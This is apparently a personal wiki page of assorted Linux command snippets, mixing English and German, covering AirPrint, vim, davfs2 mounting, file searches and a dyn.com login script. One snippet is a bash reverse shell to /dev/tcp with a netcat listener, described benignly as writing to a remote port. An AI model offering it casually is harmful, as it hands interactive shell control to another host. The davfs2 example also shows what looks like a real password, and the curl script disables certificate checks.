Linux Snippets

taken from http://ubuntuforums.org/showpost.php?s=08f439dd474385eb80db7fc8bc760a8c&p=12254866&postcount=19

You need to create 2 files under

/usr/share/cups/mime

airprint.types with content below

#
# "$Id: $"
#
# AirPrint type
image/urf urf string(0,UNIRAST<00>)
#
# End of "$Id: $".
#

airprint.convs

#
# "$Id: $"
#
# AirPrint
# Updated list with minimal set 25 Sept
image/urf application/pdf 100 pdftoraster
#
# End of "$Id: $".
#

Then restart cups

sudo service cups restart

optionally get airprint-generate.py from https://github.com/tjfontaine/airprint-generate

To get the size of all directories under '/' use this command:

sudo du -ks $(ls -d */) | sort -nr | cut -f2 | xargs -d '\n' du -sh 2> /dev/null

To get your public IP just enter the following wget line:

 wget -q -O - www.whatismyip.org && echo
 

You can use the following command to directly write from the bash prompt to a remote hosts port.

/bin/bash -i > /dev/tcp/[IP]/[PORT] 0<&1 2>&1

Example:

/bin/bash -i > /dev/tcp/192.168.178.5/8080 0<&1 2>&1

If you open a listening port on the other host with netcat

nc -l -n -vv -p 8080

you have redirected your shell to a remote host.

I have seen this on the Hak5 podcast.

ngrep -q -d any 'facebook.com' -K 10

All Processes trying to acces facebook.com will be killed (10x)

How can you display non-printable characters like [TAB] etc. in vi?

[ESC] to get into command mode

:set list

Look through the file. Tabs will be ^I, DOS-style end-of-lines will be ^M, etc.

To go back:

[ESC] to get into command mode

:set nolist

If you have enough disk space and you want to get the full vim experience you should install the following packages

apt-get install vim-full vim-doc

that will cost about 100MByte disk space. After that Syntax Highlighting should work like a charm

To have a good and working .vimrc on a Debian system issue the following command to copy the sample .vimrc to your home directory:

cp /usr/share/vim/vim7*/debian.vim ~/.vimrc

Start vim You can now turn on syntax highlighting with

:syntax on

and turn it off with

:syntax off

If you want to permanently add this setting to vim add the following line to your ~/.vimrc file

syn on

The following command will add all available vim colorschemes to your ~/.vimrc file

for a in $(printf '%s\n' /usr/share/vim/vim72/colors/*.vim); do echo \"colorscheme $(basename $a .vim);done >> ~/.vimrc

They are all commented out by default (line begins with “). Enable the one you like. I prefer “evening”.

if [ -t 0 ];
 then echo interactive;
fi

See man [ or the help to the if-command of your shell for details.

# -t FD  file descriptor FD is opened on a terminal #

Result is 1 if interactive or 0 if not.

Installation von davfs2 und Benutzer zur Gruppe davfs2 hinzufügen

sudo apt-get install davfs2
sudo adduser benutzer1 davfs2

Ordner für Mountpoint erstellen und Rechte vergeben

sudo mkdir -p /media/hidrive
sudo chown benutzer1:benutzer1 /media/hidrive

Fix zur Unterdrückung der “kernoops-Fehlermeldung” In der Datei /etc/davfs2/davfs2.conf folgenden Eintrag machen

ignore_home kernoops

Eintrag zu /etc/fstab hinzufügen

#Strato HiDrive WebDAV (https)
https://superman.webdav.hidrive.strato.com/ /media/hidrive davfs noauto,user 0 0

Nun sollte man bereits in der Lage sein durch den Befehl

mount /media/hidrive

den Mount durchzuführen. Man muss allerdings (noch) den Benutzernamen und das Passwort manuell eingeben. Benutzername und Passwort hinterlegen Zum Hinterlegen des Passworts stehen 2 Dateien zur Verfügung, entweder die globale Konfigurationsdatei unter

/etc/davfs2/secrets

oder die entsprechende Datei des Benutzers

~/.davfs2/secrets

Wir erstellen eine Datei im Homeverzeichnis des Benutzers “benutzer1″.

mkdir -p ~/.davfs2/
touch ~/.davfs2/secrets
chmod 600 ~/.davfs2/secrets

In die eben erstellte Datei schreiben wir nun die Zugangsdaten im Format

mountpoint user passwort

also z.B. folgendermaßen

#see man davfs for more info
/media/hidrive superman saperm5nshidrive$2077492

Als Benutzer “benutzer1” können wir nun problemlos per

mount /media/hidrive

oder

umount /media/hidrive

das Laufwerk mounten oder unmounten.

 grep -E "^[^\#].*" <FILENAME>
 

Version 1

iDate() { stat -c 'Install Date: %y' /var/log/installer/casper.log; }

Then use

iDate

You can easily add this to your .bashrc file to have it always available.

Version 2

date -r /var/log/installer/casper.log +'Install Date: %Y-%m-%d'

stat -c %a <filename>

You can create this nice alias:

alias cacls="stat -c %a $1"

and then use

cacls <filename>  

Mit folgendem Befehl:

grep --color=auto -iRnH 'suchbegriff' [Dateifilter]

kann man schön in Dateien suchen und bekommt eine farblich Ausgabe. Natürlich muss man “suchbegriff” und [Dateifilter] anpassen, z.B.

grep --color=auto -iRnH 'read' *.php

Bei einigen Debian kompatiblen Distributionen erscheinen bei der Benutzung von vi bei Benutzung der Cursortasten seltsame Zeichen. Abhilfe schafft hier, wenn man die Debian Grundeinstellungen für vi lädt.

cp /usr/share/vim/vim71/debian.vim ~/.vimrc

und es sollte nunmehr funktionieren.

Um während der Benutzung von vim die Zeilennumerierung zu aktivieren kann man durch Eingabe von

:set number

die Zeilennumerierung aktivieren. Natürlich kann man diese Einstellung auch permanent in die .vimrc eintragen.

If you read man pages via ssh sometimes you have strange characters. To avoid this just add the following line to your ~/.bashrc

alias man='man -E ascii'

Then logout and re-login. Your manpages should look fine now.

Since windows can not read filenames longer thatn 103 characters on a DVD, we need to find out, that there is no filename longer than 103 characters. The following command does this for us.

cd "to directory that should be your DVD root"
find ./ | sed -e 's/.*\///g' | grep -e "\(.\)\{104\}"

You can change the value “104” to any amount of characters you like, eg. to check if you have files on your machine with names longer than 60 characters try:

find / | sed -e 's/.*\///g' | grep -e "\(.\)\{61\}"

For virtual machines with dynamic IP configuration it is useful to see the IP address at login prompt. Create the following script in /etc/network/if-up.d/ipatprompt

#! /bin/sh
# Show IP at login prompt
set -e

# Don't bother to restart when lo is configured.
if [ "$IFACE" = lo ]; then
        exit 0
fi

# Only run from ifup.
if [ "$MODE" != start ]; then
        exit 0
fi

# We only care about inet and inet6. Get ye gone, strange people
# still using ipx.
if [ "$ADDRFAM" != inet ] && [ "$ADDRFAM" != inet6 ]; then
        exit 0
fi

# ifconfig available?
if [ ! -e /sbin/ifconfig ]; then
        exit 0
fi

# sed available?
if [ ! -e /bin/sed ]; then
        exit 0
fi

# awk available?
if [ ! -e /usr/bin/awk ]; then
        exit 0
fi

# adding IP address to /etc/issue so it is visible at prompt.
#
IPADD=`/sbin/ifconfig | sed '/Bcast/!d' | awk '{print $2}'| awk '{print $2}' FS=":"`
echo 'Debian GNU/Linux 7.0 \\n \\l '$IPADD > /etc/issue
echo '' >> /etc/issue

exit 0

Then make the script executable (chmod +x)

Now you have the IP address at login prompt.

Add the following lines to /etc/apt/sources.list

# Latest JAVA runtime
# ADD    apt-key adv --keyserver keys.gnupg.net --recv-keys 5CB26B26
# REMOVE apt-key del 5CB26B26
deb http://www.duinsoft.nl/pkg debs all

Then execute the following commands

sudo apt-key adv --keyserver keys.gnupg.net --recv-keys 5CB26B26
sudo apt-get remove openjdk-6-jre
sudo apt-get remove openjdk-7-jre  
sudo apt-get update
sudo apt-get clean  
sudo apt-get install update-sun-jre

You should now have the latest JAVA on your system (and it will auto-update).

To verify the installation goto the following URL http://java.com/en/download/installed.jsp to verify your installation

This HowTo is from here.

http://www.webupd8.org/2012/11/oracle-sun-java-6-installer-available.html

Add the following to the URL

 &do=export_html

then you have an HTML-View and you can print via your browser.

#!/bin/sh
################################################################
# logon_to_dyndns.sh V0.2 by PCFreak 2013
################################################################
# This script performs a login to http://account.dyn.com
# and then logs you out.
#
# You could run this as a monthly cron job to avoid expiration
# of your hostname as stated in the new SLAs from dyn.com
#
# It is now no longer enough just to use an update-client, you
# have to login to their webpage.
# That's what this script does for you!
################################################################
url="https://account.dyn.com/"                    # URL of login page
cookie="`mktemp /tmp/tmp.dyncookie.XXXXXXXXXXX`" # tmpfile for cookie
htmltmp="`mktemp /tmp/tmp.dynhtml1.XXXXXXXXXXX`" # tmpfile for received page
username="youruser"                               # your dyn.com username
password="yourpassword"                               # your dyn.com password
debug="0"                                         # set to 1 for debug
 
 
 
#create a trap to delete the temporary files when the script exits
#when debug=1 you have to cleanup other stuff yourself!
trap 'rm "$htmltmp"; rm "$cookie"' EXIT
 
# 001 Open $url, follow redirects (-L), save (-c)/read(-b) cookie and store to $html
curl -k -s -L -c "$cookie" -b "$cookie" "$url" > "$htmltmp"
if test "$debug" = "1" ; then
 cat "$htmltmp" > "./1.html"
 cat "$cookie" > "./cookie1"
fi
 
 
#  Extract the value of "multiform" from $html with grep and sed
multiform="`grep 'multiform' "$htmltmp" | head -1 | sed -e "s@\(.*value='\)\(.*\)\('.*\)@\2@g"`"
if test "$debug" = "1" ; then
 echo "multiform: $multiform"
fi
 
# 002 Login by submitting username, password, multiform and the previously created cookie
curl -k -s -L -c "$cookie" -b "$cookie" -F "username=$username" -F "password=$password" -F "iov_id=" -F "submit=Log in" -F "multiform=$multiform" "$url" > "$htmltmp"
if test "$debug" = "1" ; then
 cat "$htmltmp" > "./2.html"
 cat "$cookie" > "./cookie2"
 if test -z "`grep "_login" ./2.html`" ; then    # if _login not found in output
  echo "Login success"
 else
  echo "Login failure"
 fi
fi
 
 
# 003 Logout
curl -k -s -L -c "$cookie" -b "$cookie" -F "__logout=1" "$url" > "$htmltmp"
if test "$debug" = "1" ; then
 cat "$htmltmp" > "./3.html"
 cat "$cookie" > "./cookie3"
 if test -n "`grep 'Thank you' ./3.html| head -1`" ; then # if "Thank you" found in output
  echo "Logout success"
 else
  echo "Logout failure"
 fi
fi
 
exit 0